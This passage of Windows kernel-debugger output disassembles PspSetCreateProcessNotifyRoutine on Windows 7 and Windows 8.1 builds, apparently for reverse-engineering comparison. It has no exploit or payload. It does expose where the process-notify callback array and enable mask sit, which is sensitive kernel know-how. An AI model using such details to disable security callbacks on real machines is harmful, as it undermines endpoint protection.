al,283fa58cd 0f8570ffffff jne nt!PspSetCreateProcessNotifyRoutine+0x106 (83fa5843)nt!PspSetCreateProcessNotifyRoutine+0x196:83fa58d3 b89830f583 mov eax,offset nt!PspNotifyEnableMask (83f53098)83fa58d8 f00fba2801 lock bts dword ptr [eax],183fa58dd e961ffffff jmp nt!PspSetCreateProcessNotifyRoutine+0x106 (83fa5843)nt!PspSetCreateProcessNotifyRoutine+0x1a5:83fa58e2 b8e033f583 mov eax,offset nt!PspCreateProcessNotifyRoutineExCount (83f533e0)83fa58e7 f00fc108 lock xadd dword ptr [eax],ecx83fa58eb a19830f583 mov eax,dword ptr [nt!PspNotifyEnableMask (83f53098)]83fa58f0 a804 test al,483fa58f2 0f854bffffff jne nt!PspSetCreateProcessNotifyRoutine+0x106 (83fa5843)nt!PspSetCreateProcessNotifyRoutine+0x1bb:83fa58f8 b89830f583 mov eax,offset nt!PspNotifyEnableMask (83f53098)83fa58fd f00fba2802 lock bts dword ptr [eax],283fa5902 e93cffffff jmp nt!PspSetCreateProcessNotifyRoutine+0x106 (83fa5843)
    Win7 64 位 PspSetCreateProcessNotifyRoutinelkd> uf PspSetCreateProcessNotifyRoutinent!PspSetCreateProcessNotifyRoutine:fffff800`042be1b0 48895c2408 mov qword ptr [rsp+8],rbxfffff800`042be1b5 48896c2410 mov qword ptr [rsp+10h],rbpfffff800`042be1ba 4889742418 mov qword ptr [rsp+18h],rsifffff800`042be1bf 57 push rdifffff800`042be1c0 4154 push r12fffff800`042be1c2 4155 push r13fffff800`042be1c4 4156 push r14fffff800`042be1c6 4157 push r15fffff800`042be1c8 4883ec20 sub rsp,20hfffff800`042be1cc 4533e4 xor r12d,r12dfffff800`042be1cf 418ae8 mov bpl,r8bfffff800`042be1d2 4c8be9 mov r13,rcxfffff800`042be1d5 418d5c2401 lea ebx,[r12+1]fffff800`042be1da 413ad4 cmp dl,r12bfffff800`042be1dd 0f840e010000 je nt!PspSetCreateProcessNotifyRoutine+0x141 (fffff800`042be2f1)nt!PspSetCreateProcessNotifyRoutine+0x33:fffff800`042be1e3 65488b3c2588010000 mov rdi,qword ptr gs:[188h]fffff800`042be1ec 83c8ff or eax,0FFFFFFFFhfffff800`042be1ef 660187c4010000 add word ptr [rdi+1C4h],axfffff800`042be1f6 4c8d358395d6ff lea r14,[nt!PspCreateProcessNotifyRoutine (fffff800`04027780)]nt!PspSetCreateProcessNotifyRoutine+0x4d:fffff800`042be1fd 418bc4 mov eax,r12dfffff800`042be200 4d8d3cc6 lea r15,[r14+rax*8]fffff800`042be204 498bcf mov rcx,r15fffff800`042be207 e8f4ecedff call nt!ExReferenceCallBackBlock (fffff800`0419cf00)fffff800`042be20c 33d2 xor edx,edxfffff800`042be20e 488bf0 mov rsi,raxfffff800`042be211 483bc2 cmp rax,rdxfffff800`042be214 743d je nt!PspSetCreateProcessNotifyRoutine+0xa3 (fffff800`042be253)nt!PspSetCreateProcessNotifyRoutine+0x66:fffff800`042be216 488bc8 mov rcx,raxfffff800`042be219 e89eb4c0ff call nt!ExGetCallBackBlockRoutine (fffff800`03ec96bc)fffff800`042be21e 493bc5 cmp rax,r13fffff800`042be221 7523 jne nt!PspSetCreateProcessNotifyRoutine+0x96 (fffff800`042be246)nt!PspSetCreateProcessNotifyRoutine+0x73:fffff800`042be223 48395110 cmp qword ptr [rcx+10h],rdxfffff800`042be227 7507 jne nt!PspSetCreateProcessNotifyRoutine+0x80 (fffff800`042be230)nt!PspSetCreateProcessNotifyRoutine+0x79:fffff800`042be229 403aea cmp bpl,dlfffff800`042be22c 7407 je nt!PspSetCreateProcessNotifyRoutine+0x85 (fffff800`042be235)nt!PspSetCreateProcessNotifyRoutine+0x7e:fffff800`042be22e eb16 jmp nt!PspSetCreateProcessNotifyRoutine+0x96 (fffff800`042be246)nt!PspSetCreateProcessNotifyRoutine+0x80:fffff800`042be230 403aea cmp bpl,dlfffff800`042be233 7411 je nt!PspSetCreateProcessNotifyRoutine+0x96 (fffff800`042be246)nt!PspSetCreateProcessNotifyRoutine+0x85:fffff800`042be235 4c8bc6 mov r8,rsifffff800`042be238 498bcf mov rcx,r15fffff800`042be23b e8100ef5ff call nt!ExCompareExchangeCallBack (fffff800`0420f050)fffff800`042be240 33c9 xor ecx,ecxfffff800`042be242 3ac1 cmp al,clfffff800`042be244 7540 jne nt!PspSetCreateProcessNotifyRoutine+0xd6 (fffff800`042be286)nt!PspSetCreateProcessNotifyRoutine+0x96:fffff800`042be246 488bd6 mov rdx,rsifffff800`042be249 498bcf mov rcx,r15fffff800`042be24c e8bb2eeeff call nt!ExDereferenceCallBackBlock (fffff800`041a110c)fffff800`042be251 33d2 xor edx,edxnt!PspSetCreateProcessNotifyRoutine+0xa3:fffff800`042be253 4403e3 add r12d,ebxfffff800`042be256 4183fc40 cmp r12d,40hfffff800`042be25a 72a1 jb nt!PspSetCreateProcessNotifyRoutine+0x4d (fffff800`042be1fd)nt!PspSetCreateProcessNotifyRoutine+0xac:fffff800`042be25c 66019fc4010000 add word ptr [rdi+1C4h],bxfffff800`042be263 7517 jne nt!PspSetCreateProcessNotifyRoutine+0xcc (fffff800`042be27c)nt!PspSetCreateProcessNotifyRoutine+0xb5:fffff800`042be265 488d4750 lea rax,[rdi+50h]fffff800`042be269 483900 cmp qword ptr [rax],raxfffff800`042be26c 740e je nt!PspSetCreateProcessNotifyRoutine+0xcc (fffff800`042be27c)nt!PspSetCreateProcessNotifyRoutine+0xbe:fffff800`042be26e 663997c6010000 cmp word ptr [rdi+1C6h],dxfffff800`042be275 7505 jne nt!PspSetCreateProcessNotifyRoutine+0xcc (fffff800`042be27c)nt!PspSetCreateProcessNotifyRoutine+0xc7:fffff800`042be277 e834f5b6ff call nt!KiCheckForKernelApcDelivery (fffff800`03e2d7b0)nt!PspSetCreateProcessNotifyRoutine+0xcc:fffff800`042be27c b87a0000c0 mov eax,0C000007Ahfffff800`042be281 e916010000 jmp nt!PspSetCreateProcessNotifyRoutine+0x1ec (fffff800`042be39c)nt!PspSetCreateProcessNotifyRoutine+0xd6:fffff800`042be286 403ae9 cmp bpl,clfffff800`042be289 750a jne nt!PspSetCreateProcessNotifyRoutine+0xe5 (fffff800`042be295)nt!PspSetCreateProcessNotifyRoutine+0xdb:fffff800`042be28b f08305f196d6ffff lock add dword ptr [nt!PspCreateProcessNotifyRoutineCount (fffff800`04027984)],0FFFFFFFFhfffff800`042be293 eb08 jmp nt!PspSetCreateProcessNotifyRoutine+0xed (fffff800`042be29d)nt!PspSetCreateProcessNotifyRoutine+0xe5:fffff800`042be295 f08305e396d6ffff lock add dword ptr [nt!PspCreateProcessNotifyRoutineExCount (fffff800`04027980)],0FFFFFFFFhnt!PspSetCreateProcessNotifyRoutine+0xed:fffff800`042be29d 418bc4 mov eax,r12dfffff800`042be2a0 488bd6 mov rdx,rsifffff800`042be2a3 498d0cc6 lea rcx,[r14+rax*8]fffff800`042be2a7 e8602eeeff call nt!ExDereferenceCallBackBlock (fffff800`041a110c)fffff800`042be2ac 66019fc4010000 add word ptr [rdi+1C4h],bxfffff800`042be2b3 7519 jne nt!PspSetCreateProcessNotifyRoutine+0x11e (fffff800`042be2ce)nt!PspSetCreateProcessNotifyRoutine+0x105:fffff800`042be2b5 488d4750 lea rax,[rdi+50h]fffff800`042be2b9 483900 cmp qword ptr [rax],raxfffff800`042be2bc 7410 je nt!PspSetCreateProcessNotifyRoutine+0x11e (fffff800`042be2ce)nt!PspSetCreateProcessNotifyRoutine+0x10e:fffff800`042be2be 33c0 xor eax,eaxfffff800`042be2c0 663987c6010000 cmp word ptr [rdi+1C6h],axfffff800`042be2c7 7505 jne nt!PspSetCreateProcessNotifyRoutine+0x11e (fffff800`042be2ce)nt!PspSetCreateProcessNotifyRoutine+0x119:fffff800`042be2c9 e8e2f4b6ff call nt!KiCheckForKernelApcDelivery (fffff800`03e2d7b0)nt!PspSetCreateProcessNotifyRoutine+0x11e:fffff800`042be2ce 33c0 xor eax,eaxfffff800`042be2d0 f0480fb11e lock cmpxchg qword ptr [rsi],rbxfffff800`042be2d5 740d je nt!PspSetCreateProcessNotifyRoutine+0x134 (fffff800`042be2e4)nt!PspSetCreateProcessNotifyRoutine+0x127:fffff800`042be2d7 483bc3 cmp rax,rbxfffff800`042be2da 7408 je nt!PspSetCreateProcessNotifyRoutine+0x134 (fffff800`042be2e4)nt!PspSetCreateProcessNotifyRoutine+0x12c:fffff800`042be2dc 488bce mov rcx,rsifffff800`042be2df e86cd4b9ff call nt!ExfWaitForRundownProtectionRelease (fffff800`03e5b750)nt!PspSetCreateProcessNotifyRoutine+0x134:fffff800`042be2e4 488bce mov rcx,rsifffff800`042be2e7 e864d7fbff call nt!IopDeallocateApc (fffff800`0427ba50)fffff800`042be2ec e9a9000000 jmp nt!PspSetCreateProcessNotifyRoutine+0x1ea (fffff800`042be39a)nt!PspSetCreateProcessNotifyRoutine+0x141:fffff800`042be2f1 413aec cmp bpl,r12bfffff800`042be2f4 7419 je nt!PspSetCreateProcessNotifyRoutine+0x15f (fffff800`042be30f)nt!PspSetCreateProcessNotifyRoutine+0x146:fffff800`042be2f6 e8b51dfbff call nt!MmVerifyCallbackFunction (fffff800`042700b0)fffff800`042be2fb 413bc4 cmp eax,r12dfffff800`042be2fe 750a jne nt!PspSetCreateProcessNotifyRoutine+0x15a (fffff800`042be30a)nt!PspSetCreateProcessNotifyRoutine+0x150:fffff800`042be300 b8220000c0 mov eax,0C0000022hfffff800`042be305 e992000000 jmp nt!PspSetCreateProcessNotifyRoutine+0x1ec (fffff800`042be39c)nt!PspSetCreateProcessNotifyRoutine+0x15a:fffff800`042be30a 488bd3 mov rdx,rbxfffff800`042be30d eb03 jmp nt!PspSetCreateProcessNotifyRoutine+0x162 (fffff800`042be312)nt!PspSetCreateProcessNotifyRoutine+0x15f:fffff800`042be30f 498bd4 mov rdx,r12nt!PspSetCreateProcessNotifyRoutine+0x162:fffff800`042be312 498bcd mov rcx,r13fffff800`042be315 e846a8fbff call nt!ExAllocateCallBack (fffff800`04278b60)fffff800`042be31a 488bf0 mov rsi,raxfffff800`042be31d 493bc4 cmp rax,r12fffff800`042be320 7507 jne nt!PspSetCreateProcessNotifyRoutine+0x179 (fffff800`042be329)nt!PspSetCreateProcessNotifyRoutine+0x172:fffff800`042be322 b89a0000c0 mov eax,0C000009Ahfffff800`042be327 eb73 jmp nt!PspSetCreateProcessNotifyRoutine+0x1ec (fffff800`042be39c)nt!PspSetCreateProcessNotifyRoutine+0x179:fffff800`042be329 418bfc mov edi,r12dfffff800`042be32c 4c8d354d94d6ff lea r14,[nt!PspCreateProcessNotifyRoutine (fffff800`04027780)]nt!PspSetCreateProcessNotifyRoutine+0x183:fffff800`042be333 8bc7 mov eax,edifffff800`042be335 4533c0 xor r8d,r8dfffff800`042be338 488bd6 mov rdx,rsifffff800`042be33b 498d0cc6 lea rcx,[r14+rax*8]fffff800`042be33f e80c0df5ff call nt!ExCompareExchangeCallBack (fffff800`0420f050)fffff800`042be344 413ac4 cmp al,r12bfffff800`042be347 7516 jne nt!PspSetCreateProcessNotifyRoutine+0x1af (fffff800`042be35f)nt!PspSetCreateProcessNotifyRoutine+0x199:fffff800`042be349 03fb add edi,ebxfffff800`042be34b 83ff40 cmp edi,40hfffff800`042be34e 72e3 jb nt!PspSetCreateProcessNotifyRoutine+0x183 (fffff800`042be333)nt!PspSetCreateProcessNotifyRoutine+0x1a0:fffff800`042be350 488bce mov rcx,rsifffff800`042be353 e8f8d6fbff call nt!IopDeallocateApc (fffff800`0427ba50)fffff800`042be358 b80d0000c0 mov eax,0C000000Dhfffff800`042be35d eb3d jmp nt!PspSetCreateProcessNotifyRoutine+0x1ec (fffff800`042be39c)nt!PspSetCreateProcessNotifyRoutine+0x1af:fffff800`042be35f 413aec cmp bpl,r12bfffff800`042be362 751c jne nt!PspSetCreateProcessNotifyRoutine+0x1d0 (fffff800`042be380)nt!PspSetCreateProcessNotifyRoutine+0x1b4:fffff800`042be364 f0011d1996d6ff lock add dword ptr [nt!PspCreateProcessNotifyRoutineCount (fffff800`04027984)],ebxfffff800`042be36b 8b056f91d6ff mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`040274e0)]fffff800`042be371 a802 test al,2fffff800`042be373 7525 jne nt!PspSetCreateProcessNotifyRoutine+0x1ea (fffff800`042be39a)nt!PspSetCreateProcessNotifyRoutine+0x1c5:fffff800`042be375 f00fba2d6291d6ff01 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`040274e0)],1fffff800`042be37e eb1a jmp nt!PspSetCreateProcessNotifyRoutine+0x1ea (fffff800`042be39a)nt!PspSetCreateProcessNotifyRoutine+0x1d0:fffff800`042be380 f0011df995d6ff lock add dword ptr [nt!PspCreateProcessNotifyRoutineExCount (fffff800`04027980)],ebxfffff800`042be387 8b055391d6ff mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`040274e0)]fffff800`042be38d a804 test al,4fffff800`042be38f 7509 jne nt!PspSetCreateProcessNotifyRoutine+0x1ea (fffff800`042be39a)nt!PspSetCreateProcessNotifyRoutine+0x1e1:fffff800`042be391 f00fba2d4691d6ff02 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`040274e0)],2nt!PspSetCreateProcessNotifyRoutine+0x1ea:fffff800`042be39a 33c0 xor eax,eaxnt!PspSetCreateProcessNotifyRoutine+0x1ec:fffff800`042be39c 488b5c2450 mov rbx,qword ptr [rsp+50h]fffff800`042be3a1 488b6c2458 mov rbp,qword ptr [rsp+58h]fffff800`042be3a6 488b742460 mov rsi,qword ptr [rsp+60h]fffff800`042be3ab 4883c420 add rsp,20hfffff800`042be3af 415f pop r15fffff800`042be3b1 415e pop r14fffff800`042be3b3 415d pop r13fffff800`042be3b5 415c pop r12fffff800`042be3b7 5f pop rdifffff800`042be3b8 c3 ret
    Win8.1 32 位 PspSetCreateProcessNotifyRoutinelkd> uf PspSetCreateProcessNotifyRoutinent!PspSetCreateProcessNotifyRoutine:819b987e 8bff mov edi,edi819b9880 55 push ebp819b9881 8bec mov ebp,esp819b9883 83ec10 sub esp,10h819b9886 53 push ebx819b9887 8bd9 mov ebx,ecx819b9889 895df4 mov dword ptr [ebp-0Ch],ebx819b988c 56 push esi819b988d 57 push edi819b988e 84d2 test dl,dl819b9890 0f8567020a00 jne nt! ?? ::NNGAKEGL::`string'+0x70493 (81a59afd)nt!PspSetCreateProcessNotifyRoutine+0x18:819b9896 33f6 xor esi,esi819b9898 33ff xor edi,edi819b989a 46 inc esi819b989b 385508 cmp byte ptr [ebp+8],dl819b989e 756e jne nt!PspSetCreateProcessNotifyRoutine+0x90 (819b990e)nt!PspSetCreateProcessNotifyRoutine+0x22:819b98a0 8bd7 mov edx,edint!PspSetCreateProcessNotifyRoutine+0x24:819b98a2 8bcb mov ecx,ebx819b98a4 e8a9000000 call nt!ExAllocateCallBack (819b9952)819b98a9 8bc8 mov ecx,eax819b98ab 894dfc mov dword ptr [ebp-4],ecx819b98ae 85c9 test ecx,ecx819b98b0 0f846b030a00 je nt! ?? ::NNGAKEGL::`string'+0x705b7 (81a59c21)nt!PspSetCreateProcessNotifyRoutine+0x38:819b98b6 b8c8158681 mov eax,offset nt!PspCreateProcessNotifyRoutine (818615c8)819b98bb 8bdf mov ebx,edi819b98bd 8945f8 mov dword ptr [ebp-8],eaxnt!PspSetCreateProcessNotifyRoutine+0x42:819b98c0 8bd1 mov edx,ecx819b98c2 8bc8 mov ecx,eax819b98c4 57 push edi819b98c5 e88e24d9ff call nt!ExCompareExchangeCallBack (8174bd58)819b98ca 84c0 test al,al819b98cc 751c jne nt!PspSetCreateProcessNotifyRoutine+0x6c (819b98ea)nt!PspSetCreateProcessNotifyRoutine+0x50:819b98ce 8b45f8 mov eax,dword ptr [ebp-8]819b98d1 83c304 add ebx,4819b98d4 8b4dfc mov ecx,dword ptr [ebp-4]819b98d7 83c004 add eax,4819b98da 8945f8 mov dword ptr [ebp-8],eax819b98dd 81fb00010000 cmp ebx,100h819b98e3 72db jb nt!PspSetCreateProcessNotifyRoutine+0x42 (819b98c0)nt!PspSetCreateProcessNotifyRoutine+0x67:819b98e5 e941030a00 jmp nt! ?? ::NNGAKEGL::`string'+0x705c1 (81a59c2b)nt!PspSetCreateProcessNotifyRoutine+0x6c:819b98ea 807d0800 cmp byte ptr [ebp+8],0819b98ee 752b jne nt!PspSetCreateProcessNotifyRoutine+0x9d (819b991b)nt!PspSetCreateProcessNotifyRoutine+0x72:819b98f0 b8541cb481 mov eax,offset nt!PspCreateProcessNotifyRoutineCount (81b41c54)819b98f5 f00fc130 lock xadd dword ptr [eax],esi819b98f9 46 inc esi819b98fa a1441cb481 mov eax,dword ptr [nt!PspNotifyEnableMask (81b41c44)]819b98ff a802 test al,2819b9901 7437 je nt!PspSetCreateProcessNotifyRoutine+0xbc (819b993a)nt!PspSetCreateProcessNotifyRoutine+0x85:819b9903 33c0 xor eax,eaxnt!PspSetCreateProcessNotifyRoutine+0x87:819b9905 5f pop edi819b9906 5e pop esi819b9907 5b pop ebx819b9908 8be5 mov esp,ebp819b990a 5d pop ebp819b990b c20400 ret 4nt!PspSetCreateProcessNotifyRoutine+0x90:819b990e e86d000000 call nt!MmVerifyCallbackFunction (819b9980)819b9913 85c0 test eax,eax819b9915 742f je nt!PspSetCreateProcessNotifyRoutine+0xc8 (819b9946)nt!PspSetCreateProcessNotifyRoutine+0x99:819b9917 8bd6 mov edx,esi819b9919 eb87 jmp nt!PspSetCreateProcessNotifyRoutine+0x24 (819b98a2)nt!PspSetCreateProcessNotifyRoutine+0x9d:819b991b b8501cb481 mov eax,offset nt!PspCreateProcessNotifyRoutineExCount (81b41c50)819b9920 f00fc130 lock xadd dword ptr [eax],esi819b9924 46 inc esi819b9925 a1441cb481 mov eax,dword ptr [nt!PspNotifyEnableMask (81b41c44)]819b992a a804 test al,4819b992c 75d5 jne nt!PspSetCreateProcessNotifyRoutine+0x85 (819b9903)nt!PspSetCreateProcessNotifyRoutine+0xb0:819b992e b8441cb481 mov eax,offset nt!PspNotifyEnableMask (81b41c44)819b9933 f00fba2802 lock bts dword ptr [eax],2819b9938 ebc9 jmp nt!PspSetCreateProcessNotifyRoutine+0x85 (819b9903)nt!PspSetCreateProcessNotifyRoutine+0xbc:819b993a b8441cb481 mov eax,offset nt!PspNotifyEnableMask (81b41c44)819b993f f00fba2801 lock bts dword ptr [eax],1819b9944 ebbd jmp nt!PspSetCreateProcessNotifyRoutine+0x85 (819b9903)nt!PspSetCreateProcessNotifyRoutine+0xc8:819b9946 b8220000c0 mov eax,0C0000022h819b994b ebb8 jmp nt!PspSetCreateProcessNotifyRoutine+0x87 (819b9905)nt! ?? ::NNGAKEGL::`string'+0x70493:81a59afd 648b3524010000 mov esi,dword ptr fs:[124h]81a59b04 66ff8e3c010000 dec word ptr [esi+13Ch]81a59b0b 33ff xor edi,edi81a59b0d b8c8158681 mov eax,offset nt!PspCreateProcessNotifyRoutine (818615c8)81a59b12 897df8 mov dword ptr [ebp-8],edi81a59b15 8945fc mov dword ptr [ebp-4],eaxnt! ?? ::NNGAKEGL::`string'+0x704ae:81a59b18 8bc8 mov ecx,eax81a59b1a e85bb2c2ff call nt!ExReferenceCallBackBlock (81684d7a)81a59b1f 8bd8 mov ebx,eax81a59b21 85db test ebx,ebx81a59b23 7426 je nt! ?? ::NNGAKEGL::`string'+0x704e1 (81a59b4b)nt! ?? ::NNGAKEGL::`string'+0x704bb:81a59b25 8bcb mov ecx,ebx81a59b27 e86a67d1ff call nt!ExGetCallBackBlockContext (81770296)81a59b2c 8bd0 mov edx,eax81a59b2e e86d67d1ff call nt!ExGetCallBackBlockRoutine (817702a0)81a59b33 3b45f4 cmp eax,dword ptr [ebp-0Ch]81a59b36 7509 jne nt! ?? ::NNGAKEGL::`string'+0x704d7 (81a59b41)nt! ?? ::NNGAKEGL::`string'+0x704ce:81a59b38 85d2 test edx,edx81a59b3a 7557 jne nt! ?? ::NNGAKEGL::`string'+0x70529 (81a59b93)nt! ?? ::NNGAKEGL::`string'+0x704d2:81a59b3c 385508 cmp byte ptr [ebp+8],dl81a59b3f 7458 je nt! ?? ::NNGAKEGL::`string'+0x7052f (81a59b99)nt! ?? ::NNGAKEGL::`string'+0x704d7:81a59b41 8b4dfc mov ecx,dword ptr [ebp-4]81a59b44 8bd3 mov edx,ebx81a59b46 e8e7b1c2ff call nt!ExDereferenceCallBackBlock (81684d32)nt! ?? ::NNGAKEGL::`string'+0x704e1:81a59b4b 8b4df8 mov ecx,dword ptr [ebp-8]81a59b4e 8b45fc mov eax,dword ptr [ebp-4]81a59b51 41 inc ecx81a59b52 83c004 add eax,481a59b55 894df8 mov dword ptr [ebp-8],ecx81a59b58 8945fc mov dword ptr [ebp-4],eax81a59b5b 83f940 cmp ecx,40h81a59b5e 72b8 jb nt! ?? ::NNGAKEGL::`string'+0x704ae (81a59b18)nt! ?? ::NNGAKEGL::`string'+0x704f6:81a59b60 0fbf863c010000 movsx eax,word ptr [esi+13Ch]81a59b67 40 inc eax81a59b68 6689863c010000 mov word ptr [esi+13Ch],ax81a59b6f 6685c0 test ax,ax81a59b72 7515 jne nt! ?? ::NNGAKEGL::`string'+0x7051f (81a59b89)nt! ?? ::NNGAKEGL::`string'+0x7050a:81a59b74 8d4670 lea eax,[esi+70h]81a59b77 3900 cmp dword ptr [eax],eax81a59b79 740e je nt! ?? ::NNGAKEGL::`string'+0x7051f (81a59b89)nt! ?? ::NNGAKEGL::`string'+0x70511:81a59b7b 6639be3e010000 cmp word ptr [esi+13Eh],di81a59b82 7505 jne nt! ?? ::NNGAKEGL::`string'+0x7051f (81a59b89)nt! ?? ::NNGAKEGL::`string'+0x7051a:81a59b84 e8fb79c8ff call nt!KiCheckForKernelApcDelivery (816e1584)nt! ?? ::NNGAKEGL::`string'+0x7051f:81a59b89 b87a0000c0 mov eax,0C000007Ah81a59b8e e972fdf5ff jmp nt!PspSetCreateProcessNotifyRoutine+0x87 (819b9905)nt! ?? ::NNGAKEGL::`string'+0x70529:81a59b93 807d0800 cmp byte ptr [ebp+8],081a59b97 74a8 je nt! ?? ::NNGAKEGL::`string'+0x704d7 (81a59b41)nt! ?? ::NNGAKEGL::`string'+0x7052f:81a59b99 8b4dfc mov ecx,dword ptr [ebp-4]81a59b9c 33d2 xor edx,edx81a59b9e 53 push ebx81a59b9f e8b421cfff call nt!ExCompareExchangeCallBack (8174bd58)81a59ba4 84c0 test al,al81a59ba6 7499 je nt! ?? ::NNGAKEGL::`string'+0x704d7 (81a59b41)nt! ?? ::NNGAKEGL::`string'+0x7053e:81a59ba8 83c8ff or eax,0FFFFFFFFh81a59bab b9541cb481 mov ecx,offset nt!PspCreateProcessNotifyRoutineCount (81b41c54)81a59bb0 807d0800 cmp byte ptr [ebp+8],081a59bb4 7405 je nt! ?? ::NNGAKEGL::`string'+0x70551 (81a59bbb)nt! ?? ::NNGAKEGL::`string'+0x7054c:81a59bb6 b9501cb481 mov ecx,offset nt!PspCreateProcessNotifyRoutineExCount (81b41c50)nt! ?? ::NNGAKEGL::`string'+0x70551:81a59bbb f00fc101 lock xadd dword ptr [ecx],eax81a59bbf 8b45f8 mov eax,dword ptr [ebp-8]81a59bc2 8bd3 mov edx,ebx81a59bc4 8d0c85c8158681 lea ecx,nt!PspCreateProcessNotifyRoutine (818615c8)[eax*4]81a59bcb e862b1c2ff call nt!ExDereferenceCallBackBlock (81684d32)81a59bd0 0fbf863c010000 movsx eax,word ptr [esi+13Ch]81a59bd7 40 inc eax81a59bd8 6689863c010000 mov word ptr [esi+13Ch],ax81a59bdf 6685c0 test ax,ax81a59be2 7515 jne nt! ?? ::NNGAKEGL::`string'+0x7058f (81a59bf9)nt! ?? ::NNGAKEGL::`string'+0x7057a:81a59be4 8d4670 lea eax,[esi+70h]81a59be7 3900 cmp dword ptr [eax],eax81a59be9 740e je nt! ?? ::NNGAKEGL::`string'+0x7058f (81a59bf9)nt! ?? ::NNGAKEGL::`string'+0x70581:81a59beb 6639be3e010000 cmp word ptr [esi+13Eh],di81a59bf2 7505 jne nt! ?? ::NNGAKEGL::`string'+0x7058f (81a59bf9)nt! ?? ::NNGAKEGL::`string'+0x7058a:81a59bf4 e88b79c8ff call nt!KiCheckForKernelApcDelivery (816e1584)nt! ?? ::NNGAKEGL::`string'+0x7058f:81a59bf9 33f6 xor esi,esi81a59bfb 33c0 xor eax,eax81a59bfd 46 inc esi81a59bfe 8bce mov ecx,esi81a59c00 f00fb10b lock cmpxchg dword ptr [ebx],ecx81a59c04 85c0 test eax,eax81a59c06 740d je nt! ?? ::NNGAKEGL::`string'+0x705ab (81a59c15)nt! ?? ::NNGAKEGL::`string'+0x7059e:81a59c08 3bc6 cmp eax,esi81a59c0a 7409 je nt! ?? ::NNGAKEGL::`string'+0x705ab (81a59c15)nt! ?? ::NNGAKEGL::`string'+0x705a2:81a59c0c 8bd0 mov edx,eax81a59c0e 8bcb mov ecx,ebx81a59c10 e87d36ccff call nt!ExfWaitForRundownProtectionRelease (8171d292)nt! ?? ::NNGAKEGL::`string'+0x705ab:81a59c15 57 push edi81a59c16 53 push ebx81a59c17 e8f4a3ddff call nt!ExFreePoolWithTag (81834010)81a59c1c e9e2fcf5ff jmp nt!PspSetCreateProcessNotifyRoutine+0x85 (819b9903)nt! ?? ::NNGAKEGL::`string'+0x705b7:81a59c21 b89a0000c0 mov eax,0C000009Ah81a59c26 e9dafcf5ff jmp nt!PspSetCreateProcessNotifyRoutine+0x87 (819b9905)nt! ?? ::NNGAKEGL::`string'+0x705c1:81a59c2b 57 push edi81a59c2c ff75fc push dword ptr [ebp-4]81a59c2f e8dca3ddff call nt!ExFreePoolWithTag (81834010)81a59c34 b80d0000c0 mov eax,0C000000Dh81a59c39 e9c7fcf5ff jmp nt!PspSetCreateProcessNotifyRoutine+0x87 (819b9905)
    Win8.1 64 位 PspSetCreateProcessNotifyRoutinelkd> uf PspSetCreateProcessNotifyRoutineFlow analysis was incomplete, some code may be missingnt!PspSetCreateProcessNotifyRoutine:fffff803`10775bc4 48895c2408 mov qword ptr [rsp+8],rbxfffff803`10775bc9 48896c2410 mov qword ptr [rsp+10h],rbpfffff803`10775bce 4889742418 mov qword ptr [rsp+18h],rsifffff803`10775bd3 57 push rdifffff803`10775bd4 4154 push r12fffff803`10775bd6 4155 push r13fffff803`10775bd8 4156 push r14fffff803`10775bda 4157 push r15fffff803`10775bdc 4883ec20 sub rsp,20hfffff803`10775be0 4533f6 xor r14d,r14dfffff803`10775be3 418ae8 mov bpl,r8bfffff803`10775be6 4c8be1 mov r12,rcxfffff803`10775be9 418d7e01 lea edi,[r14+1]fffff803`10775bed 84d2 test dl,dlfffff803`10775bef 0f85c52e0b00 jne nt! ?? ::NNGAKEGL::`string'+0x79eba (fffff803`10828aba)nt!PspSetCreateProcessNotifyRoutine+0x31:fffff803`10775bf5 4584c0 test r8b,r8bfffff803`10775bf8 7577 jne nt!PspSetCreateProcessNotifyRoutine+0xad (fffff803`10775c71)nt!PspSetCreateProcessNotifyRoutine+0x36:fffff803`10775bfa 418bd6 mov edx,r14dnt!PspSetCreateProcessNotifyRoutine+0x39:fffff803`10775bfd 498bcc mov rcx,r12fffff803`10775c00 e8ab000000 call nt!ExAllocateCallBack (fffff803`10775cb0)fffff803`10775c05 488bf0 mov rsi,raxfffff803`10775c08 4885c0 test rax,raxfffff803`10775c0b 0f84ef2f0b00 je nt! ?? ::NNGAKEGL::`string'+0x7a000 (fffff803`10828c00)nt!PspSetCreateProcessNotifyRoutine+0x4d:fffff803`10775c11 418bde mov ebx,r14dfffff803`10775c14 4c8d3de5b1deff lea r15,[nt!PspCreateProcessNotifyRoutine (fffff803`10560e00)]nt!PspSetCreateProcessNotifyRoutine+0x57:fffff803`10775c1b 8bc3 mov eax,ebxfffff803`10775c1d 4533c0 xor r8d,r8dfffff803`10775c20 488bd6 mov rdx,rsifffff803`10775c23 498d0cc7 lea rcx,[r15+rax*8]fffff803`10775c27 e874b8c3ff call nt!ExCompareExchangeCallBack (fffff803`103b14a0)fffff803`10775c2c 84c0 test al,alfffff803`10775c2e 750c jne nt!PspSetCreateProcessNotifyRoutine+0x78 (fffff803`10775c3c)nt!PspSetCreateProcessNotifyRoutine+0x6c:fffff803`10775c30 03df add ebx,edifffff803`10775c32 83fb40 cmp ebx,40hfffff803`10775c35 72e4 jb nt!PspSetCreateProcessNotifyRoutine+0x57 (fffff803`10775c1b)nt!PspSetCreateProcessNotifyRoutine+0x73:fffff803`10775c37 e9ce2f0b00 jmp nt! ?? ::NNGAKEGL::`string'+0x7a00a (fffff803`10828c0a)nt!PspSetCreateProcessNotifyRoutine+0x78:fffff803`10775c3c 4084ed test bpl,bplfffff803`10775c3f 7545 jne nt!PspSetCreateProcessNotifyRoutine+0xc2 (fffff803`10775c86)nt!PspSetCreateProcessNotifyRoutine+0x7d:fffff803`10775c41 f0013d005a1b00 lock add dword ptr [nt!PspCreateProcessNotifyRoutineCount (fffff803`1092b648)],edifffff803`10775c48 8b05ce541b00 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff803`1092b11c)]fffff803`10775c4e a802 test al,2fffff803`10775c50 7450 je nt!PspSetCreateProcessNotifyRoutine+0xde (fffff803`10775ca2)nt!PspSetCreateProcessNotifyRoutine+0x8e:fffff803`10775c52 33c0 xor eax,eaxfffff803`10775c54 488b5c2450 mov rbx,qword ptr [rsp+50h]fffff803`10775c59 488b6c2458 mov rbp,qword ptr [rsp+58h]fffff803`10775c5e 488b742460 mov rsi,qword ptr [rsp+60h]fffff803`10775c63 4883c420 add rsp,20hfffff803`10775c67 415f pop r15fffff803`10775c69 415e pop r14fffff803`10775c6b 415d pop 